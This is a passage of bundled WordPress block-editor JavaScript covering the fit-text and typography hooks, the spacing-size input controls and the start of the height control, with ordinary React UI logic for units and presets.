26907 if (!(0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockType, FIT_TEXT_SUPPORT_KEY)) {
26908 return props;
26909 }
26910 const { fitText } = attributes;
26911 if (!fitText) {
26912 return props;
26913 }
26914 const className = props.className ? `${props.className} has-fit-text` : "has-fit-text";
26915 return {
26916 ...props,
26917 className
26918 };
26919}
26920function fit_text_useBlockProps({ name, fitText, clientId }) {
26921 useFitText({ fitText, name, clientId });
26922 if (!fitText || !(0,external_wp_blocks_namespaceObject.hasBlockSupport)(name, FIT_TEXT_SUPPORT_KEY)) {
26923 return {};
26924 }
26925 return {
26926 className: "has-fit-text"
26927 };
26928}
26929(0,external_wp_hooks_namespaceObject.addFilter)(
26930 "blocks.registerBlockType",
26931 "core/fit-text/addAttribute",
26932 fit_text_addAttributes
26933);
26934const hasFitTextSupport = (blockNameOrType) => {
26935 return (0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockNameOrType, FIT_TEXT_SUPPORT_KEY);
26936};
26937var fit_text_default = {
26938 useBlockProps: fit_text_useBlockProps,
26939 addSaveProps: fit_text_addSaveProps,
26940 attributeKeys: ["fitText"],
26941 hasSupport: hasFitTextSupport,
26942 edit: () => null
26943};
26944
26945
26946;// ./node_modules/@wordpress/block-editor/build-module/hooks/typography.js
26947
26948
26949
26950
26951
26952
26953
26954
26955
26956
26957
26958
26959
26960function omit(object, keys) {
26961 return Object.fromEntries(
26962 Object.entries(object).filter(([key]) => !keys.includes(key))
26963 );
26964}
26965const LETTER_SPACING_SUPPORT_KEY = "typography.__experimentalLetterSpacing";
26966const TEXT_TRANSFORM_SUPPORT_KEY = "typography.__experimentalTextTransform";
26967const TEXT_DECORATION_SUPPORT_KEY = "typography.__experimentalTextDecoration";
26968const TEXT_COLUMNS_SUPPORT_KEY = "typography.textColumns";
26969const FONT_STYLE_SUPPORT_KEY = "typography.__experimentalFontStyle";
26970const FONT_WEIGHT_SUPPORT_KEY = "typography.__experimentalFontWeight";
26971const WRITING_MODE_SUPPORT_KEY = "typography.__experimentalWritingMode";
26972const TYPOGRAPHY_SUPPORT_KEY = "typography";
26973const TYPOGRAPHY_SUPPORT_KEYS = [
26974 LINE_HEIGHT_SUPPORT_KEY,
26975 FONT_SIZE_SUPPORT_KEY,
26976 FONT_STYLE_SUPPORT_KEY,
26977 FONT_WEIGHT_SUPPORT_KEY,
26978 FONT_FAMILY_SUPPORT_KEY,
26979 TEXT_ALIGN_SUPPORT_KEY,
26980 TEXT_COLUMNS_SUPPORT_KEY,
26981 TEXT_DECORATION_SUPPORT_KEY,
26982 WRITING_MODE_SUPPORT_KEY,
26983 TEXT_TRANSFORM_SUPPORT_KEY,
26984 LETTER_SPACING_SUPPORT_KEY,
26985 FIT_TEXT_SUPPORT_KEY
26986];
26987function typography_styleToAttributes(style) {
26988 const updatedStyle = { ...omit(style, ["fontFamily"]) };
26989 const fontSizeValue = style?.typography?.fontSize;
26990 const fontFamilyValue = style?.typography?.fontFamily;
26991 const fontSizeSlug = typeof fontSizeValue === "string" && fontSizeValue?.startsWith("var:preset|font-size|") ? fontSizeValue.substring("var:preset|font-size|".length) : void 0;
26992 const fontFamilySlug = fontFamilyValue?.startsWith(
26993 "var:preset|font-family|"
26994 ) ? fontFamilyValue.substring("var:preset|font-family|".length) : void 0;
26995 updatedStyle.typography = {
26996 ...omit(updatedStyle.typography, ["fontFamily"]),
26997 fontSize: fontSizeSlug ? void 0 : fontSizeValue
26998 };
26999 return {
27000 style: utils_cleanEmptyObject(updatedStyle),
27001 fontFamily: fontFamilySlug,
27002 fontSize: fontSizeSlug
27003 };
27004}
27005function typography_attributesToStyle(attributes) {
27006 return {
27007 ...attributes.style,
27008 typography: {
27009 ...attributes.style?.typography,
27010 fontFamily: attributes.fontFamily ? "var:preset|font-family|" + attributes.fontFamily : void 0,
27011 fontSize: attributes.fontSize ? "var:preset|font-size|" + attributes.fontSize : attributes.style?.typography?.fontSize
27012 }
27013 };
27014}
27015function TypographyInspectorControl({ children, resetAllFilter }) {
27016 const attributesResetAllFilter = (0,external_wp_element_namespaceObject.useCallback)(
27017 (attributes) => {
27018 const existingStyle = typography_attributesToStyle(attributes);
27019 const updatedStyle = resetAllFilter(existingStyle);
27020 return {
27021 ...attributes,
27022 ...typography_styleToAttributes(updatedStyle)
27023 };
27024 },
27025 [resetAllFilter]
27026 );
27027 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27028 inspector_controls_default,
27029 {
27030 group: "typography",
27031 resetAllFilter: attributesResetAllFilter,
27032 children
27033 }
27034 );
27035}
27036function typography_TypographyPanel({ clientId, name, setAttributes, settings }) {
27037 function selector(select) {
27038 const { style: style2, fontFamily: fontFamily2, fontSize: fontSize2, fitText: fitText2 } = select(store).getBlockAttributes(clientId) || {};
27039 return { style: style2, fontFamily: fontFamily2, fontSize: fontSize2, fitText: fitText2 };
27040 }
27041 const { style, fontFamily, fontSize, fitText } = (0,external_wp_data_namespaceObject.useSelect)(selector, [
27042 clientId
27043 ]);
27044 const isEnabled = useHasTypographyPanel(settings);
27045 const value = (0,external_wp_element_namespaceObject.useMemo)(
27046 () => typography_attributesToStyle({ style, fontFamily, fontSize }),
27047 [style, fontSize, fontFamily]
27048 );
27049 const onChange = (newStyle) => {
27050 setAttributes(typography_styleToAttributes(newStyle));
27051 };
27052 if (!isEnabled) {
27053 return null;
27054 }
27055 const defaultControls = (0,external_wp_blocks_namespaceObject.getBlockSupport)(name, [
27056 TYPOGRAPHY_SUPPORT_KEY,
27057 "__experimentalDefaultControls"
27058 ]);
27059 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27060 TypographyPanel,
27061 {
27062 as: TypographyInspectorControl,
27063 panelId: clientId,
27064 settings,
27065 value,
27066 onChange,
27067 defaultControls,
27068 fitText
27069 }
27070 );
27071}
27072const hasTypographySupport = (blockName) => {
27073 return TYPOGRAPHY_SUPPORT_KEYS.some(
27074 (key) => hasBlockSupport(blockName, key)
27075 );
27076};
27077
27078
27079;// ./node_modules/@wordpress/block-editor/build-module/components/spacing-sizes-control/hooks/use-spacing-sizes.js
27080
27081
27082
27083
27084const use_spacing_sizes_EMPTY_ARRAY = [];
27085const compare = new Intl.Collator("und", { numeric: true }).compare;
27086function useSpacingSizes() {
27087 const [
27088 customSpacingSizes,
27089 themeSpacingSizes,
27090 defaultSpacingSizes,
27091 defaultSpacingSizesEnabled
27092 ] = use_settings_useSettings(
27093 "spacing.spacingSizes.custom",
27094 "spacing.spacingSizes.theme",
27095 "spacing.spacingSizes.default",
27096 "spacing.defaultSpacingSizes"
27097 );
27098 const customSizes = customSpacingSizes ?? use_spacing_sizes_EMPTY_ARRAY;
27099 const themeSizes = themeSpacingSizes ?? use_spacing_sizes_EMPTY_ARRAY;
27100 const defaultSizes = defaultSpacingSizes && defaultSpacingSizesEnabled !== false ? defaultSpacingSizes : use_spacing_sizes_EMPTY_ARRAY;
27101 return (0,external_wp_element_namespaceObject.useMemo)(() => {
27102 const sizes = [
27103 { name: (0,external_wp_i18n_namespaceObject.__)("None"), slug: "0", size: 0 },
27104 ...customSizes,
27105 ...themeSizes,
27106 ...defaultSizes
27107 ];
27108 if (sizes.every(({ slug }) => /^[0-9]/.test(slug))) {
27109 sizes.sort((a, b) => compare(a.slug, b.slug));
27110 }
27111 return sizes.length > RANGE_CONTROL_MAX_SIZE ? [
27112 {
27113 name: (0,external_wp_i18n_namespaceObject.__)("Default"),
27114 slug: "default",
27115 size: void 0
27116 },
27117 ...sizes
27118 ] : sizes;
27119 }, [customSizes, themeSizes, defaultSizes]);
27120}
27121
27122
27123;// ./node_modules/@wordpress/block-editor/build-module/components/spacing-sizes-control/input-controls/spacing-input-control.js
27124
27125
27126
27127
27128
27129
27130
27131
27132
27133
27134const CUSTOM_VALUE_SETTINGS = {
27135 px: { max: 300, steps: 1 },
27136 "%": { max: 100, steps: 1 },
27137 vw: { max: 100, steps: 1 },
27138 vh: { max: 100, steps: 1 },
27139 em: { max: 10, steps: 0.1 },
27140 rm: { max: 10, steps: 0.1 },
27141 svw: { max: 100, steps: 1 },
27142 lvw: { max: 100, steps: 1 },
27143 dvw: { max: 100, steps: 1 },
27144 svh: { max: 100, steps: 1 },
27145 lvh: { max: 100, steps: 1 },
27146 dvh: { max: 100, steps: 1 },
27147 vi: { max: 100, steps: 1 },
27148 svi: { max: 100, steps: 1 },
27149 lvi: { max: 100, steps: 1 },
27150 dvi: { max: 100, steps: 1 },
27151 vb: { max: 100, steps: 1 },
27152 svb: { max: 100, steps: 1 },
27153 lvb: { max: 100, steps: 1 },
27154 dvb: { max: 100, steps: 1 },
27155 vmin: { max: 100, steps: 1 },
27156 svmin: { max: 100, steps: 1 },
27157 lvmin: { max: 100, steps: 1 },
27158 dvmin: { max: 100, steps: 1 },
27159 vmax: { max: 100, steps: 1 },
27160 svmax: { max: 100, steps: 1 },
27161 lvmax: { max: 100, steps: 1 },
27162 dvmax: { max: 100, steps: 1 }
27163};
27164function SpacingInputControl({
27165 icon,
27166 isMixed = false,
27167 minimumCustomValue,
27168 onChange,
27169 onMouseOut,
27170 onMouseOver,
27171 showSideInLabel = true,
27172 side,
27173 spacingSizes,
27174 type,
27175 value
27176}) {
27177 value = getPresetValueFromCustomValue(value, spacingSizes);
27178 let selectListSizes = spacingSizes;
27179 const showRangeControl = spacingSizes.length <= RANGE_CONTROL_MAX_SIZE;
27180 const disableCustomSpacingSizes = (0,external_wp_data_namespaceObject.useSelect)((select) => {
27181 const editorSettings = select(store).getSettings();
27182 return editorSettings?.disableCustomSpacingSizes;
27183 });
27184 const [showCustomValueControl, setShowCustomValueControl] = (0,external_wp_element_namespaceObject.useState)(
27185 !disableCustomSpacingSizes && value !== void 0 && !isValueSpacingPreset(value)
27186 );
27187 const [minValue, setMinValue] = (0,external_wp_element_namespaceObject.useState)(minimumCustomValue);
27188 const previousValue = (0,external_wp_compose_namespaceObject.usePrevious)(value);
27189 if (!!value && previousValue !== value && !isValueSpacingPreset(value) && showCustomValueControl !== true) {
27190 setShowCustomValueControl(true);
27191 }
27192 const [availableUnits] = use_settings_useSettings("spacing.units");
27193 const units = (0,external_wp_components_namespaceObject.__experimentalUseCustomUnits)({
27194 availableUnits: availableUnits || ["px", "em", "rem"]
27195 });
27196 let currentValue = null;
27197 const showCustomValueInSelectList = !showRangeControl && !showCustomValueControl && value !== void 0 && (!isValueSpacingPreset(value) || isValueSpacingPreset(value) && isMixed);
27198 if (showCustomValueInSelectList) {
27199 selectListSizes = [
27200 ...spacingSizes,
27201 {
27202 name: !isMixed ? (
27203 // translators: %s: A custom measurement, e.g. a number followed by a unit like 12px.
27204 (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("Custom (%s)"), value)
27205 ) : (0,external_wp_i18n_namespaceObject.__)("Mixed"),
27206 slug: "custom",
27207 size: value
27208 }
27209 ];
27210 currentValue = selectListSizes.length - 1;
27211 } else if (!isMixed) {
27212 currentValue = !showCustomValueControl ? getSliderValueFromPreset(value, spacingSizes) : getCustomValueFromPreset(value, spacingSizes);
27213 }
27214 const selectedUnit = (0,external_wp_element_namespaceObject.useMemo)(
27215 () => (0,external_wp_components_namespaceObject.__experimentalParseQuantityAndUnitFromRawValue)(currentValue),
27216 [currentValue]
27217 )[1] || units[0]?.value;
27218 const setInitialValue = () => {
27219 if (value === void 0) {
27220 onChange("0");
27221 }
27222 };
27223 const customTooltipContent = (newValue) => value === void 0 ? void 0 : spacingSizes[newValue]?.name;
27224 const customRangeValue = parseFloat(currentValue, 10);
27225 const getNewCustomValue = (newSize) => {
27226 const isNumeric = !isNaN(parseFloat(newSize));
27227 const nextValue = isNumeric ? newSize : void 0;
27228 return nextValue;
27229 };
27230 const getNewPresetValue = (newSize, controlType) => {
27231 const size = parseInt(newSize, 10);
27232 if (controlType === "selectList") {
27233 if (size === 0) {
27234 return void 0;
27235 }
27236 if (size === 1) {
27237 return "0";
27238 }
27239 } else if (size === 0) {
27240 return "0";
27241 }
27242 return `var:preset|spacing|${spacingSizes[newSize]?.slug}`;
27243 };
27244 const handleCustomValueSliderChange = (next) => {
27245 onChange([next, selectedUnit].join(""));
27246 };
27247 const allPlaceholder = isMixed ? (0,external_wp_i18n_namespaceObject.__)("Mixed") : null;
27248 const options = selectListSizes.map((size, index) => ({
27249 key: index,
27250 name: size.name
27251 }));
27252 const marks = spacingSizes.slice(1, spacingSizes.length - 1).map((_newValue, index) => ({
27253 value: index + 1,
27254 label: void 0
27255 }));
27256 const sideLabel = ALL_SIDES.includes(side) && showSideInLabel ? LABELS[side] : "";
27257 const typeLabel = showSideInLabel ? type?.toLowerCase() : type;
27258 const ariaLabel = (0,external_wp_i18n_namespaceObject.sprintf)(
27259 // translators: 1: The side of the block being modified (top, bottom, left etc.). 2. Type of spacing being modified (padding, margin, etc).
27260 (0,external_wp_i18n_namespaceObject._x)("%1$s %2$s", "spacing"),
27261 sideLabel,
27262 typeLabel
27263 ).trim();
27264 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { className: "spacing-sizes-control__wrapper", children: [
27265 icon && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27266 external_wp_components_namespaceObject.Icon,
27267 {
27268 className: "spacing-sizes-control__icon",
27269 icon,
27270 size: 24
27271 }
27272 ),
27273 showCustomValueControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
27274 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27275 external_wp_components_namespaceObject.__experimentalUnitControl,
27276 {
27277 onMouseOver,
27278 onMouseOut,
27279 onFocus: onMouseOver,
27280 onBlur: onMouseOut,
27281 onChange: (newSize) => onChange(getNewCustomValue(newSize)),
27282 value: currentValue,
27283 units,
27284 min: minValue,
27285 placeholder: allPlaceholder,
27286 disableUnits: isMixed,
27287 label: ariaLabel,
27288 hideLabelFromVision: true,
27289 className: "spacing-sizes-control__custom-value-input",
27290 size: "__unstable-large",
27291 onDragStart: () => {
27292 if (value?.charAt(0) === "-") {
27293 setMinValue(0);
27294 }
27295 },
27296 onDrag: () => {
27297 if (value?.charAt(0) === "-") {
27298 setMinValue(0);
27299 }
27300 },
27301 onDragEnd: () => {
27302 setMinValue(minimumCustomValue);
27303 }
27304 }
27305 ),
27306 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27307 external_wp_components_namespaceObject.RangeControl,
27308 {
27309 __next40pxDefaultSize: true,
27310 onMouseOver,
27311 onMouseOut,
27312 onFocus: onMouseOver,
27313 onBlur: onMouseOut,
27314 value: customRangeValue,
27315 min: 0,
27316 max: CUSTOM_VALUE_SETTINGS[selectedUnit]?.max ?? 10,
27317 step: CUSTOM_VALUE_SETTINGS[selectedUnit]?.steps ?? 0.1,
27318 withInputField: false,
27319 onChange: handleCustomValueSliderChange,
27320 className: "spacing-sizes-control__custom-value-range",
27321 __nextHasNoMarginBottom: true,
27322 label: ariaLabel,
27323 hideLabelFromVision: true
27324 }
27325 )
27326 ] }),
27327 showRangeControl && !showCustomValueControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27328 external_wp_components_namespaceObject.RangeControl,
27329 {
27330 __next40pxDefaultSize: true,
27331 onMouseOver,
27332 onMouseOut,
27333 className: "spacing-sizes-control__range-control",
27334 value: currentValue,
27335 onChange: (newSize) => onChange(getNewPresetValue(newSize)),
27336 onMouseDown: (event) => {
27337 if (event?.nativeEvent?.offsetX < 35) {
27338 setInitialValue();
27339 }
27340 },
27341 withInputField: false,
27342 "aria-valuenow": currentValue,
27343 "aria-valuetext": spacingSizes[currentValue]?.name,
27344 renderTooltipContent: customTooltipContent,
27345 min: 0,
27346 max: spacingSizes.length - 1,
27347 marks,
27348 label: ariaLabel,
27349 hideLabelFromVision: true,
27350 __nextHasNoMarginBottom: true,
27351 onFocus: onMouseOver,
27352 onBlur: onMouseOut
27353 }
27354 ),
27355 !showRangeControl && !showCustomValueControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27356 external_wp_components_namespaceObject.CustomSelectControl,
27357 {
27358 className: "spacing-sizes-control__custom-select-control",
27359 value: (
27360 // passing empty string as a fallback to continue using the
27361 // component in controlled mode
27362 options.find(
27363 (option) => option.key === currentValue
27364 ) || ""
27365 ),
27366 onChange: (selection) => {
27367 onChange(
27368 getNewPresetValue(
27369 selection.selectedItem.key,
27370 "selectList"
27371 )
27372 );
27373 },
27374 options,
27375 label: ariaLabel,
27376 hideLabelFromVision: true,
27377 size: "__unstable-large",
27378 onMouseOver,
27379 onMouseOut,
27380 onFocus: onMouseOver,
27381 onBlur: onMouseOut
27382 }
27383 ),
27384 !disableCustomSpacingSizes && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27385 external_wp_components_namespaceObject.Button,
27386 {
27387 label: showCustomValueControl ? (0,external_wp_i18n_namespaceObject.__)("Use size preset") : (0,external_wp_i18n_namespaceObject.__)("Set custom size"),
27388 icon: settings_settings_default,
27389 onClick: () => {
27390 setShowCustomValueControl(!showCustomValueControl);
27391 },
27392 isPressed: showCustomValueControl,
27393 size: "small",
27394 className: "spacing-sizes-control__custom-toggle",
27395 iconSize: 24
27396 }
27397 )
27398 ] });
27399}
27400
27401
27402;// ./node_modules/@wordpress/block-editor/build-module/components/spacing-sizes-control/input-controls/axial.js
27403
27404
27405
27406const groupedSides = ["vertical", "horizontal"];
27407function AxialInputControls({
27408 minimumCustomValue,
27409 onChange,
27410 onMouseOut,
27411 onMouseOver,
27412 sides,
27413 spacingSizes,
27414 type,
27415 values
27416}) {
27417 const createHandleOnChange = (side) => (next) => {
27418 if (!onChange) {
27419 return;
27420 }
27421 const nextValues = {
27422 ...Object.keys(values).reduce((acc, key) => {
27423 acc[key] = getPresetValueFromCustomValue(
27424 values[key],
27425 spacingSizes
27426 );
27427 return acc;
27428 }, {})
27429 };
27430 if (side === "vertical") {
27431 nextValues.top = next;
27432 nextValues.bottom = next;
27433 }
27434 if (side === "horizontal") {
27435 nextValues.left = next;
27436 nextValues.right = next;
27437 }
27438 onChange(nextValues);
27439 };
27440 const filteredSides = sides?.length ? groupedSides.filter((side) => hasAxisSupport(sides, side)) : groupedSides;
27441 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: filteredSides.map((side) => {
27442 const axisValue = side === "vertical" ? values.top : values.left;
27443 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27444 SpacingInputControl,
27445 {
27446 icon: ICONS[side],
27447 label: LABELS[side],
27448 minimumCustomValue,
27449 onChange: createHandleOnChange(side),
27450 onMouseOut,
27451 onMouseOver,
27452 side,
27453 spacingSizes,
27454 type,
27455 value: axisValue,
27456 withInputField: false
27457 },
27458 `spacing-sizes-control-${side}`
27459 );
27460 }) });
27461}
27462
27463
27464;// ./node_modules/@wordpress/block-editor/build-module/components/spacing-sizes-control/input-controls/separated.js
27465
27466
27467
27468function SeparatedInputControls({
27469 minimumCustomValue,
27470 onChange,
27471 onMouseOut,
27472 onMouseOver,
27473 sides,
27474 spacingSizes,
27475 type,
27476 values
27477}) {
27478 const filteredSides = sides?.length ? ALL_SIDES.filter((side) => sides.includes(side)) : ALL_SIDES;
27479 const createHandleOnChange = (side) => (next) => {
27480 const nextValues = {
27481 ...Object.keys(values).reduce((acc, key) => {
27482 acc[key] = getPresetValueFromCustomValue(
27483 values[key],
27484 spacingSizes
27485 );
27486 return acc;
27487 }, {})
27488 };
27489 nextValues[side] = next;
27490 onChange(nextValues);
27491 };
27492 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: filteredSides.map((side) => {
27493 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27494 SpacingInputControl,
27495 {
27496 icon: ICONS[side],
27497 label: LABELS[side],
27498 minimumCustomValue,
27499 onChange: createHandleOnChange(side),
27500 onMouseOut,
27501 onMouseOver,
27502 side,
27503 spacingSizes,
27504 type,
27505 value: values[side],
27506 withInputField: false
27507 },
27508 `spacing-sizes-control-${side}`
27509 );
27510 }) });
27511}
27512
27513
27514;// ./node_modules/@wordpress/block-editor/build-module/components/spacing-sizes-control/input-controls/single.js
27515
27516
27517
27518function single_SingleInputControl({
27519 minimumCustomValue,
27520 onChange,
27521 onMouseOut,
27522 onMouseOver,
27523 showSideInLabel,
27524 side,
27525 spacingSizes,
27526 type,
27527 values
27528}) {
27529 const createHandleOnChange = (currentSide) => (next) => {
27530 const nextValues = {
27531 ...Object.keys(values).reduce((acc, key) => {
27532 acc[key] = getPresetValueFromCustomValue(
27533 values[key],
27534 spacingSizes
27535 );
27536 return acc;
27537 }, {})
27538 };
27539 nextValues[currentSide] = next;
27540 onChange(nextValues);
27541 };
27542 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27543 SpacingInputControl,
27544 {
27545 label: LABELS[side],
27546 minimumCustomValue,
27547 onChange: createHandleOnChange(side),
27548 onMouseOut,
27549 onMouseOver,
27550 showSideInLabel,
27551 side,
27552 spacingSizes,
27553 type,
27554 value: values[side],
27555 withInputField: false
27556 }
27557 );
27558}
27559
27560
27561;// ./node_modules/@wordpress/block-editor/build-module/components/spacing-sizes-control/linked-button.js
27562
27563
27564
27565
27566function linked_button_LinkedButton({ isLinked, ...props }) {
27567 const label = isLinked ? (0,external_wp_i18n_namespaceObject.__)("Unlink sides") : (0,external_wp_i18n_namespaceObject.__)("Link sides");
27568 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27569 external_wp_components_namespaceObject.Button,
27570 {
27571 ...props,
27572 size: "small",
27573 icon: isLinked ? link_default : link_off_default,
27574 iconSize: 24,
27575 label
27576 }
27577 );
27578}
27579
27580
27581;// ./node_modules/@wordpress/block-editor/build-module/components/spacing-sizes-control/index.js
27582
27583
27584
27585
27586
27587
27588
27589
27590
27591
27592function SpacingSizesControl({
27593 inputProps,
27594 label: labelProp,
27595 minimumCustomValue = 0,
27596 onChange,
27597 onMouseOut,
27598 onMouseOver,
27599 showSideInLabel = true,
27600 sides = ALL_SIDES,
27601 useSelect,
27602 values
27603}) {
27604 const spacingSizes = useSpacingSizes();
27605 const inputValues = values || DEFAULT_VALUES;
27606 const hasOneSide = sides?.length === 1;
27607 const hasOnlyAxialSides = sides?.includes("horizontal") && sides?.includes("vertical") && sides?.length === 2;
27608 const [view, setView] = (0,external_wp_element_namespaceObject.useState)(getInitialView(inputValues, sides));
27609 const toggleLinked = () => {
27610 setView(view === VIEWS.axial ? VIEWS.custom : VIEWS.axial);
27611 };
27612 const handleOnChange = (nextValue) => {
27613 const newValues = { ...values, ...nextValue };
27614 onChange(newValues);
27615 };
27616 const inputControlProps = {
27617 ...inputProps,
27618 minimumCustomValue,
27619 onChange: handleOnChange,
27620 onMouseOut,
27621 onMouseOver,
27622 sides,
27623 spacingSizes,
27624 type: labelProp,
27625 useSelect,
27626 values: inputValues
27627 };
27628 const renderControls = () => {
27629 if (view === VIEWS.axial) {
27630 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(AxialInputControls, { ...inputControlProps });
27631 }
27632 if (view === VIEWS.custom) {
27633 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SeparatedInputControls, { ...inputControlProps });
27634 }
27635 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27636 single_SingleInputControl,
27637 {
27638 side: view,
27639 ...inputControlProps,
27640 showSideInLabel
27641 }
27642 );
27643 };
27644 const sideLabel = ALL_SIDES.includes(view) && showSideInLabel ? LABELS[view] : "";
27645 const label = (0,external_wp_i18n_namespaceObject.sprintf)(
27646 // translators: 1: The side of the block being modified (top, bottom, left etc.). 2. Type of spacing being modified (padding, margin, etc).
27647 (0,external_wp_i18n_namespaceObject._x)("%1$s %2$s", "spacing"),
27648 labelProp,
27649 sideLabel
27650 ).trim();
27651 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", { className: "spacing-sizes-control", children: [
27652 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { className: "spacing-sizes-control__header", children: [
27653 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27654 external_wp_components_namespaceObject.BaseControl.VisualLabel,
27655 {
27656 as: "legend",
27657 className: "spacing-sizes-control__label",
27658 children: label
27659 }
27660 ),
27661 !hasOneSide && !hasOnlyAxialSides && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27662 linked_button_LinkedButton,
27663 {
27664 label: labelProp,
27665 onClick: toggleLinked,
27666 isLinked: view === VIEWS.axial
27667 }
27668 )
27669 ] }),
27670 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 0.5, children: renderControls() })
27671 ] });
27672}
27673
27674
27675;// ./node_modules/@wordpress/block-editor/build-module/components/height-control/index.js
27676
27677
27678
27679
27680
27681const RANGE_CONTROL_CUSTOM_SETTINGS = {
27682 px: { max: 1e3, step: 1 },
27683 "%": { max: 100, step: 1 },
27684 vw: { max: 100, step: 1 },
27685 vh: { max: 100, step: 1 },
27686 em: { max: 50, step: 0.1 },
27687 rem: { max: 50, step: 0.1 },
27688 svw: { max: 100, step: 1 },
27689 lvw: { max: 100, step: 1 },
27690 dvw: { max: 100, step: 1 },
27691 svh: { max: 100, step: 1 },
27692 lvh: { max: 100, step: 1 },
27693 dvh: { max: 100, step: 1 },
27694 vi: { max: 100, step: 1 },
27695 svi: { max: 100, step: 1 },
27696 lvi: { max: 100, step: 1 },
27697 dvi: { max: 100, step: 1 },
27698 vb: { max: 100, step: 1 },
27699 svb: { max: 100, step: 1 },
27700 lvb: { max: 100, step: 1 },
27701 dvb: { max: 100, step: 1 },
27702 vmin: { max: 100, step: 1 },
27703 svmin: { max: 100, step: 1 },
27704 lvmin: { max: 100, step: 1 },
27705 dvmin: { max: 100, step: 1 },
27706 vmax: { max: 100, step: 1 },
27707 svmax: { max: 100, step: 1 },
27708 lvmax: { max: 100, step: 1 },
27709 dvmax: { max: 100, step: 1 }
27710};
27711function HeightControl({
27712 label = (0,external_wp_i18n_namespaceObject.__)("Height"),
27713 onChange,
27714 value
27715}) {
27716 const customRangeValue = parseFloat(value);
27717 const [availableUnits] = use_settings_useSettings("spacing.units");
27718 const units = (0,external_wp_components_namespaceObject.__experimentalUseCustomUnits)({
27719 availableUnits: availableUnits || [
27720 "%",
27721 "px",
27722 "em",
27723 "rem",
27724 "vh",
27725 "vw"
27726 ]
27727 });
27728 const selectedUnit = (0,external_wp_element_namespaceObject.useMemo)(
27729 () => (0,external_wp_components_namespaceObject.__experimentalParseQuantityAndUnitFromRawValue)(value),
27730 [value]
27731 )[1] || units[0]?.value || "px";
27732 const handleSliderChange = (next) => {
27733 onChange([next, selectedUnit].join(""));
27734 };
27735 const handleUnitChange = (newUnit) => {
27736 const [currentValue, currentUnit] = (0,external_wp_components_namespaceObject.__experimentalParseQuantityAndUnitFromRawValue)(value);
27737 if (["em", "rem"].includes(newUnit) && currentUnit === "px") {
27738 onChange((currentValue / 16).toFixed(2) + newUnit);
27739 } else if (["em", "rem"].includes(currentUnit) && newUnit === "px") {
27740 onChange(Math.round(currentValue * 16) + newUnit);
27741 } else if ([
27742 "%",
27743 "vw",
27744 "svw",
27745 "lvw",
27746 "dvw",
27747 "vh",
27748 "svh",
27749 "lvh",
27750 "dvh",
27751 "vi",
27752 "svi",
27753 "lvi",
27754 "dvi",
27755 "vb",
27756 "svb",
27757 "lvb",
27758 "dvb",
27759 "vmin",
27760 "svmin",
27761 "lvmin",
27762 "dvmin",
27763 "vmax",
27764 "svmax",
27765 "lvmax",
27766 "dvmax"
27767 ].includes(newUnit) && currentValue > 100) {
27768 onChange(100 + newUnit);
27769 }
27770 };
27771 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", { className: "block-editor-height-control", children: [
27772 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, { as: "legend", children: label }),
27773 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, { children: [
27774 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { isBlock: true, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27775 external_wp_components_namespaceObject.__experimentalUnitControl,
27776 {
27777 value,
27778 units,
27779 onChange,
27780 onUnitChange: handleUnitChange,
27781 min: 0,
27782 size: "__unstable-large",
27783 label,
27784 hideLabelFromVision: true
27785 }
27786 ) }),
27787 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { isBlock: true, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { marginX: 2, marginBottom: 0, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27788 external_wp_components_namespaceObject.RangeControl,
27789 {
27790 __next40pxDefaultSize: true,
27791 value: customRangeValue,
